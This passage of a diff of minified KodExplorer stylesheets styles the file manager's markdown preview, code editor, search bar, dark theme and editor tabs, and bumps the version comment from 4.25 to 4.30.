ol{padding:0.2em 0 0.2em 2em;}.markdown-preview table{border-collapse:collapse;border-spacing:0;margin-bottom:20px;}.markdown-preview table thead{background:#eee;}.markdown-preview table td,.markdown-preview table th{padding:.5em;border:1px solid #ddd;line-height:1.5;}.markdown-preview .markdown-flow{background:#fff;padding:15px;}.markdown-preview .markdown-flow .label{color:#444;}.markdown-preview .markdown-latex{text-align:center;font-size:1.6em;color:#000;margin-bottom:1.5em;overflow:hidden;overflow-x:auto;}.markdown-preview .latex-inline .katex-display{display:inline-block;font-size:0.8em;}.markdown-preview .markdown-menu ul{padding:0 10px 20px 20px;}.markdown-preview .markdown-menu li{font-size:14px;list-style:none;line-height:1.8em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.markdown-preview .markdown-menu-h2{padding-left:2em;}.markdown-preview .markdown-menu-h3{padding-left:4em;}.markdown-preview .markdown-menu-h4{padding-left:6em;}.markdown-preview .markdown-menu-h5{padding-left:8em;}.markdown-preview .markdown-menu-h6{padding-left:10em;}.markdown-preview div .hljs{color:#666;}.markdown-preview .hljs-comment,.markdown-preview .hljs-quote{color:#998;font-style:italic;}.markdown-preview .hljs-keyword,.markdown-preview .hljs-selector-tag,.markdown-preview .hljs-subst{color:#333;font-weight:700;}.markdown-preview .hljs-literal,.markdown-preview .hljs-number,.markdown-preview .hljs-tag .hljs-attr,.markdown-preview .hljs-template-variable,.markdown-preview .hljs-variable{color:teal;}.markdown-preview .hljs-doctag,.markdown-preview .hljs-string{color:#d14;}.markdown-preview .hljs-section,.markdown-preview .hljs-selector-id,.markdown-preview .hljs-title{color:#900;font-weight:700;}.markdown-preview .hljs-subst{font-weight:400;}.markdown-preview .hljs-class .hljs-title,.markdown-preview .hljs-type{color:#458;font-weight:700;}.markdown-preview .hljs-attribute,.markdown-preview .hljs-name,.markdown-preview .hljs-tag{color:navy;font-weight:400;}.markdown-preview .hljs-meta,.markdown-preview .hljs-strong{font-weight:700;}.markdown-preview .hljs-link,.markdown-preview .hljs-regexp{color:#009926;}.markdown-preview .hljs-bullet,.markdown-preview .hljs-symbol{color:#990073;}.markdown-preview .hljs-built_in,.markdown-preview .hljs-builtin-name{color:#0086b3;}.markdown-preview .hljs-meta{color:#999;}.markdown-preview .hljs-deletion{background:#fdd;}.markdown-preview .hljs-addition{background:#dfd;}.markdown-preview .hljs-emphasis{font-style:italic;}.code-theme-black .markdown-preview{background:#333;color:#bbb;}.code-theme-black .markdown-preview blockquote{border-color:#555;background:#444;}.code-theme-black .markdown-preview pre,.code-theme-black .markdown-preview code,.code-theme-black .markdown-preview pre code{color:#777;border-color:#444;background:#444;}.code-theme-black .markdown-preview code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}.code-theme-black .markdown-preview a{color:#FFA500;}.code-theme-black .markdown-preview hr{border-bottom:1px solid #444;background-image:none;}.code-theme-black .markdown-preview .h1,.code-theme-black .markdown-preview .h2,.code-theme-black .markdown-preview .h3,.code-theme-black .markdown-preview .h4,.code-theme-black .markdown-preview .h5,.code-theme-black .markdown-preview .h6,.code-theme-black .markdown-preview h1,.code-theme-black .markdown-preview h2,.code-theme-black .markdown-preview h3,.code-theme-black .markdown-preview h4,.code-theme-black .markdown-preview h5,.code-theme-black .markdown-preview h6{color:#fff;}.code-theme-black .markdown-preview .h1,.code-theme-black .markdown-preview h1{border-bottom:1px solid #666;}.code-theme-black .markdown-preview table thead{background:#3e3e3e;}.code-theme-black .markdown-preview table td,.code-theme-black .markdown-preview table th{border-color:#444;}.code-theme-black .markdown-preview .markdown-latex{color:#fff;}.code-theme-black .markdown-preview div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f;}.code-theme-black .markdown-preview .hljs,.code-theme-black .markdown-preview .hljs-subst,.code-theme-black .markdown-preview .hljs-tag{color:#f8f8f2;}.code-theme-black .markdown-preview .hljs-emphasis,.code-theme-black .markdown-preview .hljs-strong{color:#a8a8a2;}.code-theme-black .markdown-preview .hljs-bullet,.code-theme-black .markdown-preview .hljs-link,.code-theme-black .markdown-preview .hljs-literal,.code-theme-black .markdown-preview .hljs-number,.code-theme-black .markdown-preview .hljs-quote,.code-theme-black .markdown-preview .hljs-regexp{color:#ae81ff;}.code-theme-black .markdown-preview .hljs-code,.code-theme-black .markdown-preview .hljs-section,.code-theme-black .markdown-preview .hljs-selector-class,.code-theme-black .markdown-preview .hljs-title{color:#a6e22e;}.code-theme-black .markdown-preview .hljs-strong{font-weight:700;}.code-theme-black .markdown-preview .hljs-emphasis{font-style:italic;}.code-theme-black .markdown-preview .hljs-attr,.code-theme-black .markdown-preview .hljs-keyword,.code-theme-black .markdown-preview .hljs-name,.code-theme-black .markdown-preview .hljs-selector-tag{color:#f92672;}.code-theme-black .markdown-preview .hljs-attribute,.code-theme-black .markdown-preview .hljs-symbol{color:#66d9ef;}.code-theme-black .markdown-preview .hljs-class .hljs-title,.code-theme-black .markdown-preview .hljs-params{color:#f8f8f2;}.code-theme-black .markdown-preview .hljs-addition,.code-theme-black .markdown-preview .hljs-built_in,.code-theme-black .markdown-preview .hljs-builtin-name,.code-theme-black .markdown-preview .hljs-selector-attr,.code-theme-black .markdown-preview .hljs-selector-id,.code-theme-black .markdown-preview .hljs-selector-pseudo,.code-theme-black .markdown-preview .hljs-string,.code-theme-black .markdown-preview .hljs-template-variable,.code-theme-black .markdown-preview .hljs-type,.code-theme-black .markdown-preview .hljs-variable{color:#e6db74;}.code-theme-black .markdown-preview .hljs-comment,.code-theme-black .markdown-preview .hljs-deletion,.code-theme-black .markdown-preview .hljs-meta{color:#75715e;}.ace_optionsMenuEntry{height:22px;}.ace_optionsMenuCommand{float:left;width:210px;}.context-menu-list .context-menu-item.line-top{border-top:1px solid #eee !important;}body .ace_editor{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-variant-ligatures:no-common-ligatures;margin:0;padding:0;position:absolute;height:100%;left:0px;right:0%;background:#fff;}body .ace_editor .ace_scrollbar{right:3px;}body .ace_editor .ace_hidden-cursors .ace_cursor{opacity:0.7;}body .ace_editor.ace-tomorrow .ace_cursor{color:#3c3434;}body .ace_editor.ace_multiselect .ace_cursor{border-left-width:2px;}body .ace_editor .ace_indent-guide{height:103%;display:inline-block;}body .ace_editor .ace_line{line-height:1.3em;line-height:inherit \9;}body .ace_editor span.ace_heading{font-weight:800;}body .ace_editor.ace_autocomplete{padding:0px;box-shadow:0px 2px 10px rgba(0,0,0,0.3);margin-left:5px;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px 0 rgba(0,0,0,0), inset -1px -1px 0 rgba(0,0,0,0);font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;background:#fff !important;}body .ace_editor.ace_autocomplete .ace_scrollbar-v{padding:0px;right:0px;}body .ace_editor.ace_autocomplete .ace_line{padding-left:6px;line-height:1.5em;}body .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line{background:#63acff !important;border-radius:0px;z-index:10;}body .ace_editor.ace_autocomplete .ace_line-hover{border:none;margin-top:0;background:#e6e6e6;border-radius:0px;}body .ace_editor.ace_autocomplete .ace_selected{color:#fff;}body .ace_editor.ace_autocomplete .ace_completion-highlight{color:#2882be;}body .ace_editor.ace_autocomplete .ace_rightAlignedText{color:#aaa;}body .ace_editor.ace_autocomplete .ace_selected .ace_completion-highlight{color:#cfe8ff !important;}body .ace_editor.ace_autocomplete .ace_selected .ace_rightAlignedText{color:#fff;z-index:10;opacity:0.5;filter:alpha(opacity=50);font-size:0.9em;}body .ace_editor .ace_content .ace_marker-layer .ace_selected-word{background:rgba(210,235,255,0.11);border:1px solid #65b5f5;z-index:10;}body .ace_editor .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FF9800;background:#FFC107;}body .ace_editor .ace_content .ace_text-layer .ace_keyword{text-shadow:0 0 0.3px;}body .ace_editor .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-github{color:#444;}body .ace_editor.ace-kuroir{background:#f9f9f9;}body .ace_editor.ace-kuroir .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-solarized-light{background:#FDF6E3;}body .ace_editor.ace-solarized-light .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-ambiance{background:#202020;}body .ace_editor.ace-ambiance .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-monokai{background:#272822;}body .ace_editor.ace-monokai .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-idle-fing{background:#333;}body .ace_editor.ace-idle-fing .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-pastel-on-dark{background:#2C2828;}body .ace_editor.ace-pastel-on-dark .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-solarized-dark{background:#002B36;}body .ace_editor.ace-solarized-dark .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-twilight{background:#141414;}body .ace_editor.ace-twilight .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-idle-fingers{background:#333;}body .ace_editor.ace-idle-fingers .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-tomorrow-night-blue{background:#002451;}body .ace_editor.ace-tomorrow-night-blue .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-tomorrow-night-eighties{background:#2d2d2d;}body .ace_editor.ace-tomorrow-night-eighties .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-eclipse .ace_gutter{border-right:3px solid #6ce26c !important;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_selected-word{background:rgba(255,255,255,0.1);border:1px solid #4179A7;z-index:10;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FFEB3B;background:#6b6154;}div.ace_tooltip{font-size:1em;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;border:1px solid #e7de81;background-color:#f9f2ad;padding-bottom:6px;color:#333;background-image:none;filter:none;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px transparent, inset -1px -1px transparent;}div.ace_tooltip hr{border:none;border-bottom:1px solid #e7de81;margin:6px 0;}.search-content .ace_search{font-size:13px;border-radius:0px 0px 0px 5px;border-right:0 none;overflow:visible;position:fixed;right:0;background-color:#eee;color:#444;width:100%;max-width:inherit;padding-top:5px;border-top:1px solid #ccc;bottom:0px;}.search-content .ace_search .ace_search_options{text-align:right;position:absolute;top:4px;margin:3px 0 0 20px;}.search-content .ace_search .ace_searchbtn_close{background-position:50% -10%;position:absolute;right:10px;width:18px;height:18px;}.search-content .ace_search .ace_searchbtn_close:hover{background-position:50% 120%;}.search-content .ace_search .ace_search_form,.search-content .ace_search .ace_replace_form{float:inherit;border:none;height:25px;}.search-content .ace_search .ace_search_form .search-info{position:absolute;right:25px;height:25px;line-height:25px;opacity:0.6;filter:alpha(opacity=60);}.search-content .ace_search .ace_search_form .search_at_index,.search-content .ace_search .ace_search_form .search_total_num{padding-left:0.3em;padding-right:0.3em;}.search-content .ace_search .ace_button{margin-left:3px;width:30px;text-align:center;display:inline-block;border-radius:3px;}.search-content .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.search-content .ace_search .ace_search_field{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;background-color:#FFF;border-radius:3px;border:1px solid #ccc;margin:0px;width:100%;height:24px;line-height:23px;}.search-content .ace_search .ace_search_field:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.search-content .ace_search .ace_search_field:focus{box-shadow:0 0 1px #75a1f0;}.search-content .ace_search .ace_search_action{position:absolute;right:50px;}.search-content .ace_search .ace_search_input{position:absolute;left:130px;right:160px;}.search-content .ace_search .ace_replace_form .ace_search_action{right:70px;}.search-content .ace_search .ace_search_form.ace_nomatch{outline:none;}.search-content .ace_search .ace_search_form.ace_nomatch .search-info{color:#f00;font-weight:800;}.search-content .ace_search .search-info.search-first{color:#03a9f4;font-weight:800;}.search-content .ace_search .history-list{position:absolute;right:8px;}.search-content .ace_search .history-list .dropdown-menu:before{right:4px;}.search-content .ace_search .history-list .dropdown-menu:after{right:5px;}.search-content .ace_search .history-list .dropdown-menu li > a{padding:3px 20px;font-size:13px;}.search-content .ace_search .history-list .dropmenu{width:20px;height:20px;background:rgba(50,50,50,0.05);cursor:pointer;font-size:15px;margin-top:2px;color:#ccc;display:inline-block;line-height:20px;text-align:center;border-radius:2px;}.search-content .ace_search .history-list .dropmenu:hover{background:rgba(50,50,50,0.2);color:#aaa;}.search-content .ace_search .history-list.open .dropmenu{background:rgba(50,50,50,0.2);color:#aaa;}.search-content .ace_search .btn-background{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search-content .ace_search .btn-background-hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search-content .ace_search .ace_searchbtn,.search-content .ace_search .ace_replacebtn{float:left;padding:0 8px;border:1px solid #dcdcdc;margin-left:-1px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search-content .ace_search .ace_searchbtn:hover,.search-content .ace_search .ace_replacebtn:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search-content .ace_search .ace_searchbtn:active,.search-content .ace_search .ace_replacebtn:active{outline:none;background:#ddd;}.search-content .ace_search .ace_searchbtn.next,.search-content .ace_search .ace_replacebtn.next{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search-content .ace_search .ace_searchbtn.next:hover,.search-content .ace_search .ace_replacebtn.next:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search-content .ace_search .ace_searchbtn.prev,.search-content .ace_search .ace_replacebtn.prev{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search-content .ace_search .ace_searchbtn.prev:hover,.search-content .ace_search .ace_replacebtn.prev:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.code-theme-black{background:#333;}.code-theme-black pre{background:#333;}.code-theme-black div.tools{box-shadow:1px 2px 15px #3d3d3d;border-bottom:1px solid #474747;background:#3d3d3d;}.code-theme-black div.tools .right .btn{border:solid 1px #474747;background:#3d3d3d;color:#eef;}.code-theme-black div.tools .right .btn:hover{background:#474747;}.code-theme-black div.tools .line{border-color:#595959;}.code-theme-black div.tools a.select,.code-theme-black div.tools a.select:hover,.code-theme-black div.tools a:active,.code-theme-black div.tools a:hover{background:#595959;}.code-theme-black div.tools a .font-icon{color:#eef;text-shadow:none;}.code-theme-black div.tools .disable-mask{background:#3d3d3d;}.code-theme-black .context-menu-list{border:none;background:#595959;border-bottom:none;box-shadow:0 10px 10px rgba(0,0,0,0.15);}.code-theme-black .context-menu-list .context-menu-item{color:#eef;border-color:rgba(255,255,255,0) !important;}.code-theme-black .context-menu-list .context-menu-item .font-icon{color:#eef;}.code-theme-black .context-menu-list .context-menu-item.context-menu-separator{border-bottom:1px solid #666666 !important;background:none;}.code-theme-black .context-menu-list .context-menu-item.hover,.code-theme-black .context-menu-list .context-menu-item.selected.hover{background:#666666;color:#eef;border-color:transparent !important;}.code-theme-black .context-menu-list .context-menu-item.hover .font-icon,.code-theme-black .context-menu-list .context-menu-item.selected.hover .font-icon{color:#eef;}.code-theme-black .context-menu-list .context-menu-item.line-top{border-top:1px solid #666666 !important;}.code-theme-black .dropdown-menu{background:#595959;}.code-theme-black .dropdown-menu:before{right:4px;}.code-theme-black .dropdown-menu:after{border-top-color:#595959;}.code-theme-black .dropdown-menu li > a{color:#eef;}.code-theme-black .edit-tab .tabs{background:#333;border-bottom:1px solid #474747;}.code-theme-black .edit-tab .tabs .tab{background:#474747;border-right:1px solid #595959;color:#eef;}.code-theme-black .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#666666;}.code-theme-black .edit-tab .tabs .tab.hover{background:#474747;}.code-theme-black .edit-tab .tabs .add{background:#595959;border:1px solid #3d3d3d;color:#eef;}.code-theme-black .edit-tab .tabs .add:hover{background:#666666;}.code-theme-black .edit-tab .tabs .tab.this{background:#666666;border-right:1px solid #666666;border-left:3px solid #63acff;margin-left:-3px;}.code-theme-black .edit-body{background:#333;}.code-theme-black .draggable-dragging{background:#595959;border-left:3px solid #63acff;}.code-theme-black .edit-content .resize{background-color:#ddd;background-color:rgba(255,255,255,0.01);}.code-theme-black .edit-content .resize:hover{background-color:#ddd;background-color:rgba(255,255,255,0.1);}.code-theme-black .edit-content .resize.resize-active{background-color:#ddd;background-color:rgba(255,255,255,0.3);}.code-theme-black .edit-right-frame{background:#333;border-left:1px solid #3d3d3d;}.code-theme-black .edit-right-frame .function-list-parent{background:#333;}.code-theme-black .edit-right-frame .function-list-box .list-row{color:#eef;}.code-theme-black .edit-right-frame .function-list-box .list-row.row-hover{background:#3d3d3d;}.code-theme-black .edit-right-frame .function-list-box .list-row.row-select{background:#63acff;}.code-theme-black .edit-right-frame .function-list-box .list-row.mark,.code-theme-black .edit-right-frame .function-list-box .list-row.class{background:#595959;}.code-theme-black .edit-right-frame .preview-url-tool,.code-theme-black .edit-right-frame .function-list-tool{border-bottom:1px solid #3d3d3d;}.code-theme-black .edit-right-frame .preview-url-tool .box,.code-theme-black .edit-right-frame .function-list-tool .box{background:#333;color:#eef;border:none;}.code-theme-black .edit-right-frame .preview-url-tool .box a,.code-theme-black .edit-right-frame .function-list-tool .box a{padding:0px 6px;}.code-theme-black .edit-right-frame .preview-url-tool .box a:hover,.code-theme-black .edit-right-frame .function-list-tool .box a:hover{border:1px solid #666666;}.code-theme-black .edit-right-frame .preview-url-tool .input-content input,.code-theme-black .edit-right-frame .function-list-tool .input-content input{color:#eee;font-size:1.15em;text-shadow:none;background:#444;box-shadow:none;border:none;}.code-theme-black .edit-right-frame .preview-url-tool .input-content input:focus,.code-theme-black .edit-right-frame .function-list-tool .input-content input:focus{box-shadow:none;}.code-theme-black .edit-right-frame .function-search input{color:#eef;border:1px solid #595959;background:#474747;}.code-theme-black .edit-right-frame .preview-markdown-tool .box a .font-icon{color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .box a:hover{background:#666666;color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .box a:hover .font-icon{color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar{border-left:1px solid #595959;background:#3d3d3d;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar .md-tools{color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar .md-tools:hover{background:#666666;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar .md-tools.md-tools-split{color:#666666;}.code-theme-black .edit-right-frame .markdown-help{background:#474747;color:#eef;border-color:#595959;}.code-theme-black .edit-right-frame .markdown-help h3{border-color:#666666;}.code-theme-black .edit-right-frame .markdown-help h5{border-color:#666666;}.code-theme-black .edit-right-frame .markdown-help pre{background:#666666;color:#eef;}.code-theme-black .edit-right-frame .markdown-menu-box{background:#474747;color:#eef;border-color:#595959;}.code-theme-black .edit-right-frame .markdown-menu-box h3{border-color:#666666;}.code-theme-black .edit-right-frame .markdown-menu-box .markdown-menu li a{color:#ffa500;}.code-theme-black .edit-right-frame .markdown-menu-box .markdown-menu li a:hover{background:#666666;}.code-theme-black .edit-right-frame .markdown-setting{background:#474747;color:#eef;border-color:#595959;}.code-theme-black .edit-right-frame .markdown-setting ul li.line{height:1px;background:#595959;}.code-theme-black .edit-right-frame .markdown-setting ul a,.code-theme-black .edit-right-frame .markdown-setting ul a:visited{color:#eef;}.code-theme-black .edit-right-frame .markdown-setting ul a i{color:#eef;}.code-theme-black .edit-right-frame .markdown-setting ul a:hover{background:#666666;color:#eef;}.code-theme-black .edit-right-frame .markdown-setting ul a:hover i{color:#eef;}.code-theme-black .search-content{background:#333;}.code-theme-black .search-content .bottom-toolbar{border-radius:4px;background:#474747;border:1px solid #595959;}.code-theme-black .search-content .bottom-toolbar a{color:#fff;}.code-theme-black .search-content .bottom-toolbar a .font-icon{color:#eef;}.code-theme-black .search-content .bottom-toolbar a:hover{color:#63acff;}.code-theme-black .search-content .bottom-toolbar a.select{background:#666666;color:#fff;}.code-theme-black .search-content .aui-icon,.code-theme-black .search-content .aui-main{background:#333;}.code-theme-black .search-content .aui-state-no-title .aui-inner{border:1px solid #666666;}.code-theme-black .ace-text-input{background:#333;}.code-theme-black .ace_search{background-color:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_button{border:1px solid #595959;color:#fff;}.code-theme-black .ace_search .ace_button:hover{background-color:#595959;}.code-theme-black .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.code-theme-black .ace_search .ace_search_field{background-color:#595959;border:1px solid #595959;color:#eef;}.code-theme-black .ace_search .ace_search_form.ace_nomatch .search-info{color:#f66;}.code-theme-black .ace_search .btn-background{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .btn-background-hover{background:#595959;border-color:#666666;}.code-theme-black .ace_search .ace_searchbtn,.code-theme-black .ace_search .ace_replacebtn{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_searchbtn:hover,.code-theme-black .ace_search .ace_replacebtn:hover{background:#595959;border-color:#666666;}.code-theme-black .ace_search .ace_searchbtn.next,.code-theme-black .ace_search .ace_replacebtn.next{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_searchbtn.next:hover,.code-theme-black .ace_search .ace_replacebtn.next:hover{background:#595959;border-color:#666666;}.code-theme-black .ace_search .ace_searchbtn.prev,.code-theme-black .ace_search .ace_replacebtn.prev{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_searchbtn.prev:hover,.code-theme-black .ace_search .ace_replacebtn.prev:hover{background:#595959;border-color:#666666;}.code-theme-black .introduction{background:#3d3d3d;top:59px;}.code-theme-black .introduction pre{background:#3d3d3d;border-bottom:1px solid #474747;}.code-theme-black .introduction .tips h1{border-bottom:1px dashed #3d3d3d;}.code-theme-black .introduction .green{border-left:1px solid #3d3d3d;}.code-theme-black .context-menu-list .gotoline-input input{color:#eef;background:#666666;broder-color:#474747;}.code-theme-black .code-mode-list{background:#474747;color:#eef;}.code-theme-black .code-mode-list li.list-input{background:#474747;}.code-theme-black .code-mode-list li.list-input input{color:#eef;background:#666666;broder-color:#474747;}.code-theme-black .code-mode-list li.selected,.code-theme-black .code-mode-list li.selected.hover,.code-theme-black .code-mode-list li.hover{background:#666666;color:#fff;}.forceWap .edit-right-frame{width:0 !important;display:none;}.forceWap .resize{display:none;}.forceWap .ace_editor{width:100% !important;}.forceWap .edit-tab{display:none;}.forceWap .edit-body{top:30px;}.forceWap .ace_search{bottom:0;}.forceWap .search-content .ace_search .ace_search_action{right:30px;}.forceWap .search-content .ace_search .ace_searchbtn.prev,.forceWap .search-content .ace_search .ace_replacebtn.prev,.forceWap .search-content .ace_search .ace_searchbtn,.forceWap .search-content .ace_search .ace_replacebtn{padding:0;}.forceWap .search-content .ace_search .ace_search_options{margin:3px 0 0 10px;}.forceWap .search-content .ace_search .ace_search_input{left:115px;right:105px;}.forceWap .ace_gutter,.forceWap .ace_gutter-layer{width:30px !important;}.forceWap .ace_folding-enabled > .ace_gutter-cell{padding:0px 3px !important;}.forceWap .ace_editor.ace_autocomplete{width:250px !important;}.forceWap .top-toolbar a[action="saveall"],.forceWap .top-toolbar a[action="refresh"],.forceWap .top-toolbar .menu-view-goto-line{display:none;} -/* ver 4.25(2017-12-04) [build 1512368386.5926] */ \ No newline at end of file +/* power by kodexplorer ver 4.30(2018-07-05) [build 1530795187.9072] */ +@import url('./fileIcon.css'); +@import url('./common.css'); +.frame-main{top:40px;overflow:auto;bottom:40px;width:100%;position:absolute;}.title-box{height:36px;width:800px;border-bottom:1px solid #ddd;margin:0 auto;margin-top:10px;}.title-box .name{font-size:20px;float:left;}.title-box .size{float:left;line-height:30px;padding-left:10px;}.title-box .size .share-time{padding-left:10px;font-style:normal;color:#aaa;}.title-box .btn-group{float:right;}.title-box .btn-group .btn-download{padding:4px 20px;}.title-box .btn-group .dropdown-toggle{height:16px;height:30px \9;}.content-box,.content-box.markdown-preview{min-width:200px;max-width:900px;margin:30px auto;margin-bottom:30px;padding:0 15px;}.show-image{text-align:center;}.show-image img{max-width:100%;}.show-pdf{width:100%;margin:0px;background:#ccc;position:absolute;top:0px;bottom:0px;}.show-code{border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,0.2);width:80%;max-width:80%;position:absolute;bottom:0px;left:10%;top:0px;}.show-code pre{position:absolute;left:0;top:0;bottom:0;padding:20px;margin:0;overflow:auto;right:0;background:none;font-size:14px;line-height:1.6em;}.show-code .code{padding:0px;margin:0;height:100%;}.show-code .ace_editor{font-size:1em;font-family:Consolas, source-code-pro, Monaco, Menlo, 'Ubuntu Mono', Consolas, monospace, '';}.show-iframe{margin:0;width:100%;height:100%;position:absolute;top:0;bottom:0;left:0;right:0;}.show-flash{width:80%;margin:0 auto;padding-top:30px;height:90%;}.target-menu{position:absolute;margin-left:-1.5em;display:inline-block;text-align:center;width:2em;}h1:hover .target-menu,h2:hover .target-menu,h3:hover .target-menu,h4:hover .target-menu,h5:hover .target-menu,h6:hover .target-menu{display:block !important;visibility:visible !important;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.edit-main{color:#444;font-size:1em;width:100%;}.edit-main .edit-tab .tabs .edit-changed a.close{opacity:1.0;filter:alpha(opacity=100);color:#63acff;}.edit-main .edit-tab .tabs .edit-changed .icon-remove:before{content:"\f06a";}.edit-main .edit-tab .tabs .edit-changed a:hover.icon-remove:before{content:"\f057";}.context-menu-list{z-index:1000 !important;box-shadow:0 0px 10px rgba(0,0,0,0.15);border:1px solid #dfdfdf;border-radius:2px;max-height:500px;-webkit-animation-name:inherit;-webkit-animation-duration:inherit;-webkit-animation-timing-function:inherit;-webkit-animation-iteration-count:inherit;}.context-menu-list.code-font-list,.context-menu-list.code-theme-list{overflow-y:auto;overflow-x:hidden;}.context-menu-list.code-font-list .context-menu-item,.context-menu-list.code-theme-list .context-menu-item{padding:0px 10px 0 10px;}.context-menu-list.code-theme-list{width:180px !important;}.context-menu-list.menu-view-file-charset{height:320px;}.context-menu-list.menu-view-file-charset .charset-list-box{overflow-y:auto;height:280px;margin-bottom:6px;padding-bottom:10px;border-bottom:1px solid rgba(150,150,150,0.2);}.context-menu-list.menu-view-file-charset .context-menu-item{padding:0 10px 0 0px;}.context-menu-list.menu-view-file-charset ul.code-charset-list{overflow:auto;height:300px;}.context-menu-list.menu-view-file-charset .font-icon{margin-right:5px;margin-left:10px;}.context-menu-list .gotoline-input input{padding:4px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;margin-left:15px;height:16px;}.context-menu-list .gotoline-input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.code-mode-list{position:absolute;z-index:99;top:auto;right:300px;bottom:30px;overflow:auto;display:block;width:180px;height:250px;padding:35px 0 10px 0;}.code-mode-list li{padding:2px 2em;font-size:13px;cursor:pointer;line-height:20px;}.code-mode-list li.list-input{position:fixed;background:#eee;-webkit-transform:translateZ(0);height:30px;width:160px;bottom:292px;padding:4px 0 0 20px;}.code-mode-list li.list-input input{width:110px;padding:4px 10px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.code-mode-list li.list-input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.code-mode-list li.hover{background:#eee;background:#63acff;color:#fff;}.code-mode-list li.selected,.code-mode-list li.selected.hover{background:#63acff;color:#fff;}.edit-tab .tabs{height:29px;width:100%;background:#fff;overflow:hidden;border-bottom:1px solid #ddd;}.edit-tab .tabs .tab{position:relative;height:30px;line-height:30px;color:#666;width:120px;float:left;background:#f6f6f6;border-right:1px solid #ddd;}.edit-tab .tabs .tab .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.edit-tab .tabs .tab .name img{height:17px;padding-bottom:4px;padding-right:3px;}.edit-tab .tabs .tab .close{float:right;color:#aaa;position:relative;opacity:0.1;filter:alpha(opacity=10);font-size:1.25em;margin-right:3px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:18px;}.edit-tab .tabs .tab .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit-tab .tabs .tab .close:active{opacity:1.0;filter:alpha(opacity=100);}.edit-tab .tabs .tab.hover{background:#eee;background:linear-gradient(to 